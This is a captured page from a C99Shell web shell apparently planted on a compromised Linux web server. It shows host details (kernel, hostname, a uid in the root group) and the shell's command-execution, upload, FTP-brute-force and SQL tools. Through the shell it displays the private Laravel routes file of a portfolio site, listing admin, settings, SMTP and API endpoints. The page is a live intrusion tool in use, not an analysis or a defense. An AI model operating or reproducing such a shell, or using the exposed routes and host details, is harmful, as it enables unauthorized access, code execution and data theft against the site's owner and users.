!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/portfolio2.picotech.app/public_html/routes/   drwxr-xr-x
Free 28.26 GB of 117.98 GB (23.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     web.php (15.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use App\Models\Plan;
use 
Illuminate\Support\Facades\Route;
use 
App\Http\Controllers\Admin\GatewayController;
use 
App\Http\Controllers\FrontController;
use 
App\Http\Controllers\Admin\FAQController;
use 
App\Http\Controllers\Auth\AdminLoginController;
use 
App\Http\Controllers\Customer\DashboardController;




/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/maintenance', [\App\Http\Controllers\FrontController::class,'maintenance'])->name('maintenance');


Route::group(['middleware'=> 'maintenance_mode'], function(){
Route::get('/', [FrontController::class,'home'])->name('home');
Route::post('/contact/store', [FrontController::class,'contact_store'])->name('contact.store');
Route::get('/blog', [FrontController::class,'blog'])->name('blog');
Route::get('/blog/details/{slug}', [FrontController::class,'blog_details'])->name('blog.details');
Route::get('/publications', [FrontController::class,'publications'])->name('publications');
Route::get('/publications/details/{slug}', [FrontController::class,'publications_details'])->name('publications.details');
Route::get('/about/details', [FrontController::class,'about_details_section'])->name('about.details');
Route::get('/service/details/{id}', [FrontController::class,'service_details_section'])->name('service.details');
});



//#region admin route
Route::group(['as' => 'admin.''prefix' => 'admin'], function () {

    
Route::group(['middleware' => 'guest'], function () {
        
Route::get('/login', [AdminLoginController::class,'index'])->name('login');

        
Route::post('/login', [AdminLoginController::class,'authenticate'])->name('authenticate');

        
Route::get('/password/reset', [\App\Http\Controllers\Auth\ForgotPasswordController::class,'showLinkRequestFormAdmin'])->name('password.request');

        
Route::post('/password/email', [\App\Http\Controllers\Auth\ForgotPasswordController::class,'sendResetLinkEmailAdmin'])->name('password.email');

    });

    
Route::group(['middleware' => 'auth'], function () {
        
// Route::get('/logout', ['uses' => 'Auth\AdminLoginController@logout', 'as' => 'logout']);
        
Route::get('/logout', [AdminLoginController::class,'logout'])->name('logout');


        
Route::group(['namespace' => ''], function () {
            
Route::get('/dashboard', [\App\Http\Controllers\Admin\DashboardController::class,'index'])->name('dashboard');
            
Route::get('/notification/counter', [\App\Http\Controllers\Admin\DashboardController::class,'countNotification'])->name('notification.counter');
            
Route::resource('/customers'\App\Http\Controllers\Admin\CustomerController::class);
            
Route::resource('/blog-category'\App\Http\Controllers\Admin\BlogCategoryController::class);
            
Route::get('/get/all', [\App\Http\Controllers\Admin\BlogCategoryController::class,'getAll'])->name('get.all.blogcategory');
            
Route::resource('/bloglist'\App\Http\Controllers\Admin\BloglistController::class);
            
Route::get('/get/alls', [\App\Http\Controllers\Admin\BloglistController::class,'getAll'])->name('get.all.bloglist');


            
Route::resource('/services'\App\Http\Controllers\Admin\ServicesController::class);
            
Route::get('/header/services', [\App\Http\Controllers\Admin\ServicesController::class, 'header'])->name('header.services');



            
Route::get('/contact/index', [\App\Http\Controllers\Admin\ContactController::class, 'index'])->name('contact.index');
            
Route::get('contact/get/all', [\App\Http\Controllers\Admin\ContactController::class,'getAll'])->name('contact.get.all');
            
Route::post('/contact/store', [\App\Http\Controllers\Admin\ContactController::class, 'store'])->name('contact.store');
            
Route::delete('contact/delete', [\App\Http\Controllers\Admin\ContactController::class,'destroy'])->name('contact.destroy');
            
Route::resource('/page'\App\Http\Controllers\Admin\PageController::class);


            
Route::get('/feadback/index', [\App\Http\Controllers\Admin\ThemeController::class, 'feadback_index'])->name('theme.feadback.index');
            
Route::post('/feadback/store', [\App\Http\Controllers\Admin\ThemeController::class, 'feadback_store'])->name('theme.feadback.store');
            
Route::get('/blog-section', [\App\Http\Controllers\Admin\ThemeController::class, 'blog_section'])->name('theme.blog.section.index');
            
Route::post('/blog-section/store', [\App\Http\Controllers\Admin\ThemeController::class, 'blog_section_store'])->name('theme.blog.section.store');
            
Route::get('/publication-section', [\App\Http\Controllers\Admin\ThemeController::class, 'publication_section'])->name('theme.publication.section.index');
            
Route::post('/publication-section/store', [\App\Http\Controllers\Admin\ThemeController::class, 'publication_section_store'])->name('theme.publication.section.store');
            
Route::get('/contact/us/index', [\App\Http\Controllers\Admin\ThemeController::class, 'contact_us_index'])->name('theme.contact.index');
            
Route::post('/contact/store', [\App\Http\Controllers\Admin\ThemeController::class, 'contact_us_store'])->name('theme.contact.store');

            
Route::resource('/blog-category'\App\Http\Controllers\Admin\BlogCategoryController::class);

            
Route::resource('/category-publication'\App\Http\Controllers\Admin\CategoryPublicationController::class);

            
Route::get('category-publication/get/all', [\App\Http\Controllers\Admin\CategoryPublicationController::class,'getAll'])->name('category-publication.get.all');

            
Route::resource('/publications'\App\Http\Controllers\Admin\PublicationsController::class);
            
Route::get('publications/get/all', [\App\Http\Controllers\Admin\PublicationsController::class,'getAll'])->name('publications.get.all');



            
Route::group(['as' => 'settings.''prefix' => 'settings'], function () {
                
Route::get('/', [\App\Http\Controllers\Admin\SettingsController::class,'index'])->name('index');
                
Route::post('/update/profile', [\App\Http\Controllers\Admin\SettingsController::class,'profile_update'])->name('profile_update');
                
Route::post('/update/application', [\App\Http\Controllers\Admin\SettingsController::class,'app_update'])->name('app_update');
                
// header
                
Route::post('/update/header/title', [\App\Http\Controllers\Admin\SettingsController::class,'header_title'])->name('header_title');
                
Route::post('/update/smtp', [\App\Http\Controllers\Admin\SettingsController::class,'smtp_update'])->name('smtp_update');
                
Route::post('/update/seo', [\App\Http\Controllers\Admin\SettingsController::class,'seo_update'])->name('seo.update');
                
Route::post('/update/api', [\App\Http\Controllers\Admin\SettingsController::class,'api_update'])->name('api_update');
                
Route::post('/email-template/store', [\App\Http\Controllers\Admin\SettingsController::class,'templateStore'])->name('email.template.store');
                
Route::post('/update/local/setting', [\App\Http\Controllers\Admin\SettingsController::class,'local_settings'])->name('local.setting');
                
Route::post('/sending-setting', [\App\Http\Controllers\Admin\SettingsController::class,'sending_setting'])->name('sending.setting');
                
Route::get('/gateway/numbers', [\App\Http\Controllers\Admin\SettingsController::class,'getGatewayNumber'])->name('gateway.numbers');
                
Route::get('/otp/index', [\App\Http\Controllers\Admin\SettingsController::class,'otpSettins'])->name('otp.index');
                
Route::get('get/all/otp/user', [\App\Http\Controllers\Admin\SettingsController::class,'activeOtpUser'])->name('get.all.otp.user');
                
Route::post('/otp', [\App\Http\Controllers\Admin\SettingsController::class,'otpSetting'])->name('otp');
                
Route::get('/customer/otp/status', [\App\Http\Controllers\Admin\SettingsController::class,'getOtpStatus'])->name('user.otp.status');
                
Route::post('/cache', [\App\Http\Controllers\Admin\SettingsController::class,'cacheSettings'])->name('cache');
            });




            
Route::group(['as' => 'addon.''prefix' => 'addon'], function () {
                
Route::get('/''AddonController@index')->name('index');
                
Route::get('/import''AddonController@import')->name('import');
                
Route::post('/import''AddonController@importPost')->name('import');
                
Route::get('/get/all''AddonController@getAll')->name('get.all');
                
Route::delete('/uninstall''AddonController@uninstall')->name('uninstall');
                
Route::post('/change-status''AddonController@changeStatus')->name('change-status');

            });

            
Route::resource('/faq''FAQController');
            
Route::get('/get-all/faq''FAQController@getAll')->name('get.all.faq');


            
Route::resource('/faq'FAQController::class);
            
Route::get('/get-all/faq', [FAQController::class,'getAll'])->name('get.all.faq');

            
Route::group(['as' => 'subscribe.''prefix' => 'subscribe'], function () {
                
Route::get('/index', [\App\Http\Controllers\Admin\SubscribeController::class,'index'])->name('index');

                
Route::post('/store', [\App\Http\Controllers\Admin\SubscribeController::class,'subscribe_store'])->name('subscribe.store');

            });
            
Route::get('/user/message/index', [\App\Http\Controllers\Admin\UserMessageController::class,'index'])->name('user.message.index');
            
Route::post('/store', [\App\Http\Controllers\Admin\UserMessageController::class,'store'])->name('user.message.store');


            
Route::get('/template','TemplateController@index')->name('template');
            
Route::post('/template/store','TemplateController@store')->name('template.store');

            
Route::get('/video/create',[\App\Http\Controllers\Admin\ThemeController::class,'video_content'])->name('theme.video');
            
Route::get('/video/section',[\App\Http\Controllers\Admin\ThemeController::class,'video_upload'])->name('theme.youtube.video');
            
Route::post('/video/store',[\App\Http\Controllers\Admin\ThemeController::class,'video_content_store'])->name('theme.video.store');


            
//Photo Gallery
            
Route::get('/photo/gallery',[\App\Http\Controllers\Admin\ThemeController::class,'photoGallery'])->name('theme.photo.gallery');
            
Route::post('/photo/gallery/store',[\App\Http\Controllers\Admin\ThemeController::class,'photoGalleryStore'])->name('theme.photo.gallery.store');


            
Route::get('/theme/customize',[\App\Http\Controllers\Admin\ThemeController::class,'index'])->name('theme.customize');
            
Route::get('/sign/up/info',[\App\Http\Controllers\Admin\ThemeController::class,'sign_up_index'])->name('sign.up.info');
            
Route::get('/omug',[\App\Http\Controllers\Admin\ThemeController::class,'omug_index'])->name('omug');
            
Route::get('/training-and-intership/create',[\App\Http\Controllers\Admin\ThemeController::class,'training_and_intership'])->name('training.and.intership');
            
Route::post('/training-and-intership/store', [\App\Http\Controllers\Admin\ThemeController::class, 'training_and_intership_store'])->name('training.and.intership.store');
            
Route::get('/teaching/index',[\App\Http\Controllers\Admin\ThemeController::class,'teaching'])->name('teaching');
            
Route::post('/teaching/store', [\App\Http\Controllers\Admin\ThemeController::class, 'teaching_store'])->name('teaching.store');
            
Route::get('/teams',[\App\Http\Controllers\Admin\ThemeController::class,'teams_index'])->name('teams');
            
Route::get('/fees',[\App\Http\Controllers\Admin\ThemeController::class,'fees_index'])->name('fees');
            
Route::get('/courses',[\App\Http\Controllers\Admin\ThemeController::class,'courses_index'])->name('courses');
            
Route::get('/header/services',[\App\Http\Controllers\Admin\ThemeController::class,'services_index'])->name('services.header');
            
Route::get('/home/section',[\App\Http\Controllers\Admin\ThemeController::class,'home_section'])->name('home.section');
            
Route::post('/sign/up/info/store',[\App\Http\Controllers\Admin\ThemeController::class,'sign_up_info'])->name('theme.sign.up.info.store');
            
Route::post('/omug/store',[\App\Http\Controllers\Admin\ThemeController::class,'omug'])->name('theme.omug.store');
            
Route::post('/team/store',[\App\Http\Controllers\Admin\ThemeController::class,'team'])->name('theme.team.store');
            
Route::post('/fees/store',[\App\Http\Controllers\Admin\ThemeController::class,'fees'])->name('theme.fees.store');
            
Route::post('/courses/store',[\App\Http\Controllers\Admin\ThemeController::class,'courses'])->name('theme.courses.store');
            
Route::post('/header/services/store',[\App\Http\Controllers\Admin\ThemeController::class,'services_header'])->name('theme.services.header.store');
            
Route::post('/home/section/store',[\App\Http\Controllers\Admin\ThemeController::class,'home_section_store'])->name('theme.home.section.store');
            
Route::get('/about/section',[\App\Http\Controllers\Admin\ThemeController::class,'about_section'])->name('theme.about.section');
            
Route::post('/about/section/store',[\App\Http\Controllers\Admin\ThemeController::class,'about_section_store'])->name('theme.about.section.store');

            
Route::get('/activity/section',[\App\Http\Controllers\Admin\ThemeController::class,'activity_section'])->name('theme.activity.section');
            
Route::post('/activity/store',[\App\Http\Controllers\Admin\ThemeController::class,'activity_store'])->name('theme.activity.store');

            
Route::get('/my/goal', [\App\Http\Controllers\Admin\ThemeController::class,'my_goal'])->name('my.goal');
            
Route::post('/my/goal/store',[\App\Http\Controllers\Admin\ThemeController::class,'my_goalStore'])->name('theme.my.goal.store');

            
Route::get('/management', [\App\Http\Controllers\Admin\ThemeController::class,'management'])->name('management');
            
Route::post('/management/store',[\App\Http\Controllers\Admin\ThemeController::class,'management_store'])->name('theme.management.store');
        });
    });

});
//#endregion


//#region customer routes

//Guest customer route
Route::group(['middleware' => 'guest','maintenance_mode'], function () {
    
Route::get('admin/password/reset''Admin\ForgotPasswordController@show_form')->name('admin.password.request');
    
Route::post('admin/password/reset''Admin\ForgotPasswordController@sent_email')->name('admin.password.sent');
    
Route::get('admin/password/reset/confirm''Admin\ForgotPasswordController@reset_form')->name('admin.password.reset.confirm');
    
Route::post('admin/password/reset/confirm''Admin\ForgotPasswordController@reset_confirm')->name('admin.password.reset.confirm');
});





//Route::redirect('/', route('login'));
Route::redirect('/admin'"/admin/login");


//Route::get('{url}',['uses' => 'RouteController@index']);

// Route::post('/verify/user','FrontController@verifyCode')->name('verify');
Route::post('/verify/user', [FrontController::class,'verifyCode'])->name('verify');


Route::get('locale/{type}', [\App\Http\Controllers\Admin\DashboardController::class, 'setLocale'])->name('set.locale');


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--